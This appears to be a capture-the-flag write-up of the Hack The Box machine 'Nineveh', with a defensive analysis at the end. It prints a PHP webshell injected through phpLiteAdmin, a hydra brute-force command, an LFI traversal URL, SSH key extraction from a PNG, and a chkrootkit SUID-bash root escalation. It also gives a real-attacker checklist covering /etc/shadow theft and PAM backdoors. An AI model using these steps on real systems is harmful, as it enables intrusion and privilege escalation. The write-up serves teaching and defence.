Overview
Nineveh is a medium Linux box that demands patience and lateral thinking. Two web servers on the same host serve entirely different applications: HTTP hosts a custom department login portal, HTTPS runs phpLiteAdmin. Neither is exploitable in isolation. The foothold requires chaining a write primitive (phpLiteAdmin database creation) with a read primitive (LFI in the department application), combining two vulnerabilities across two protocols to achieve code execution.
User access comes from an SSH key hidden inside a PNG image, and root from the ironic situation of a rootkit detection tool (chkrootkit) providing a root escalation path through its own vulnerability. The box teaches a core principle: vulnerabilities that appear low-impact individually become critical when chained.
Reconnaissance
I start with a service scan to identify what is exposed:
nmap -sC -sV -oA scans/nineveh 10.129.13.126
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | Default page (178 bytes) |
| 443 | HTTPS | Apache httpd 2.4.18 (Ubuntu) | Image page, CN=nineveh.htb |
Two ports, both Apache, but serving different content. The SSL certificate
discloses the hostname nineveh.htb. SSH (port 22) is not visible in the scan,
which becomes relevant later.
Attack Surface Analysis
Different content on HTTP versus HTTPS is an immediate signal. Two web applications on the same host means two independent attack surfaces.
HTTP (port 80)
Directory enumeration finds two endpoints of interest:
/department/login.php: a custom login form with username and password fields/info.php: full PHP info page confirming PHP 7.0.18
The login form leaks username validity through error messages. Submitting an
invalid username returns a different error than submitting a valid username with
a wrong password. Testing confirms admin is a valid account.
HTTPS (port 443)
Directory enumeration against the HTTPS vhost yields:
/db/: phpLiteAdmin v1.9 (SQLite web management, single password field)/secure_notes/: directory containingnineveh.png(2.8 MB image file)
phpLiteAdmin v1.9 is a known target. The application provides full SQLite database management including the ability to create databases at arbitrary filesystem paths. If I can authenticate, I gain a filesystem write primitive.
Vulnerability Analysis
The attack requires chaining four separate weaknesses:
phpLiteAdmin weak credentials. The phpLiteAdmin instance on HTTPS accepts
password123. This is not a vulnerability in phpLiteAdmin itself; it is a
deployment issue. But it converts network access into a filesystem write
primitive, because phpLiteAdmin allows creating SQLite databases at arbitrary
paths.
SQLite PHP code injection. A SQLite database is a binary file, but PHP’s
include function processes any file it opens. If a database contains PHP code
in a table field, and that database file is included by a PHP script, the PHP
interpreter executes the embedded code. phpLiteAdmin’s database creation feature
becomes a webshell generator.
LFI in department application. The department application’s manage.php
page includes files via the notes parameter. A path filter requires the
string ninevehNotes to appear in the path. This is bypassable via directory
traversal: /ninevehNotes/../../../../../var/tmp/test satisfies the string
check while traversing to an arbitrary path.
chkrootkit CVE-2014-0476. chkrootkit versions before 0.50 execute
/tmp/update as root if the file exists and is executable. A cron job runs
chkrootkit every minute on this host, creating a one-minute window for
privilege escalation.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-0476 |
| CWE | CWE-427 (Uncontrolled Search Path Element) |
| Root cause | chkrootkit executes /tmp/update without path validation |
| Affected | chkrootkit < 0.50 |
Exploitation
Step 1: phpLiteAdmin authentication
phpLiteAdmin on port 443 accepts the password password123. This grants full
database management.
Step 2: PHP code injection via SQLite
I create a database (or use the pre-existing one at /var/tmp/test) and inject
PHP code into a table field:
CREATE TABLE IF NOT EXISTS cmd (code TEXT);
INSERT INTO cmd VALUES ('<?php system($_REQUEST["c"]); ?>');
The database file at /var/tmp/test now contains executable PHP.
Step 3: department login brute-force
Hydra against the department login form:
hydra -l admin -P common.txt nineveh.htb \
http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password"
Result: admin:1q2w3e4r5t
Step 4: LFI to RCE
With authenticated access to the department application, I trigger the LFI to include the SQLite database containing PHP code:
/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/test&c=id
Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The LFI path filter is satisfied by /ninevehNotes/ at the start, then
directory traversal reaches /var/tmp/test. PHP includes the SQLite file,
encounters the <?php system(...) ?> string within the binary data, and
executes it.
Step 5: SSH key from steganography
The nineveh.png image at /secure_notes/ on HTTPS contains an RSA private
key appended after the PNG end marker. This is not steganography in the
traditional sense; the key is simply concatenated to the file.
strings nineveh.png | sed -n '/BEGIN RSA/,/END RSA/p' > amrois_key
chmod 600 amrois_key
SSH on port 22 is listening but filtered by the firewall. From the www-data shell, I connect via localhost:
ssh -i /var/tmp/amrois_key [email protected]
User flag captured.
Post-Exploitation
Privilege escalation via chkrootkit
The /report/ directory contains chkrootkit output files generated every
minute. chkrootkit versions before 0.50 execute /tmp/update as root if the
file exists:
echo '#!/bin/bash' > /tmp/update
echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update
After one minute, /tmp/rootbash appears with the SUID bit set:
/tmp/rootbash -p
id
# uid=1000(amrois) gid=1000(amrois) euid=0(root)
Root flag captured.
What a real attacker does next
In a production environment, the post-exploitation checklist from this host would include:
- Credential harvesting from
/etc/shadow, SSH keys, and web application configuration files - Network pivot through the host to reach internal services
- Persistence via cron, SSH key injection, or PAM backdoor
- Review of the phpLiteAdmin deployment for stored credentials in other databases
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF rules for directory traversal sequences in query strings |
| Execution | T1059.004 | Process monitoring for /bin/sh spawned by Apache |
| Persistence | T1053.003 | File integrity monitoring on /tmp/update |
| Credential access | T1552.004 | Anomalous SSH connections from www-data processes |
| Privilege escalation | T1068 | Audit chkrootkit execution and child processes |
Host-level: File integrity monitoring (AIDE, OSSEC) would detect the
creation of /tmp/update. Any SUID binary appearing in /tmp should trigger
an immediate alert. Process monitoring would flag Apache spawning shell
processes.
Application-level: Web application firewalls should block requests
containing ../ sequences. The LFI payload is visible in Apache access logs.
The phpLiteAdmin brute-force (if any was needed) would appear as rapid POST
requests to /db/.
Network-level: SSH connections originating from the www-data user or from Apache child processes are anomalous and highly indicative of compromise.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade chkrootkit to 0.50+ | Low | Critical |
| P0 | Remove phpLiteAdmin or restrict to localhost | Low | Critical |
| P1 | Fix LFI in department application (path validation) | Medium | High |
| P1 | Change phpLiteAdmin password from default | Low | High |
| P1 | Remove SSH key from PNG image | Low | High |
| P2 | Open SSH port only via port knocking or VPN | Medium | Medium |
| P2 | Deploy file integrity monitoring for /tmp | Medium | Medium |
| P3 | Remove /info.php from production | Low | Low |
The phpLiteAdmin write primitive and the department LFI are individually medium severity. Chained together, they produce unauthenticated RCE. This is a textbook example of why vulnerability prioritisation must consider exploitability in context, not just individual CVSS scores.
The chkrootkit escalation is a deeper architectural problem. Security tooling
that executes files from world-writable directories without integrity
verification becomes the attack vector. Any cron job running as root that
touches predictable paths in /tmp is exploitable by any local user.
Key Takeaways
-
Different content on HTTP versus HTTPS is a signal. Two web applications on the same host must be enumerated independently. The exploitation chain here requires combining vulnerabilities from both, which would be invisible if only one protocol were tested.
-
Write primitives chain with read primitives. phpLiteAdmin’s database creation is a filesystem write. The department application’s LFI is a filesystem read (and include). Neither is critical alone; together they produce RCE. When auditing applications, map all read and write primitives and evaluate their combinations.
-
Steganographic analysis starts with
strings. The SSH key innineveh.pngwas not hidden with any steganographic tool. It was appended after the PNG end marker, visible tostringsin seconds. Always check simple extraction before reaching for specialised tools. -
Filtered ports are not closed ports. SSH was filtered externally but listening internally. Gaining code execution on the host and connecting via
127.0.0.1bypasses firewall rules that only apply at the network boundary. -
Security tooling can be the vulnerability. chkrootkit, a tool designed to detect rootkits, provided the root escalation path. Any privileged process that executes files from predictable world-writable locations is a latent privilege escalation vulnerability.